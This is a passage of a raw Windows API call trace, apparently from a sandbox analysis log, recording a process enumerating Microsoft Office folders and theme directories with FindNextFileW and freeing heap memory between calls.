	[0173.358] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.361] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0173.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.362] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0173.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.363] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0173.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.364] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0173.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.365] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0173.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.365] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0173.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.365] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0173.366] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.366] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0173.366] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.366] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0173.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.367] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0173.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.367] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0173.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.368] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0173.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.368] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0173.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.369] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0173.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.369] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0173.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.369] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0173.370] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.370] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0173.370] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.370] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0173.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.371] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0173.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.372] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0173.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.373] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0173.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.374] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0173.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.375] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0173.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.376] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0173.377] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.377] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0173.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.378] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0173.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.379] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0173.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.379] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
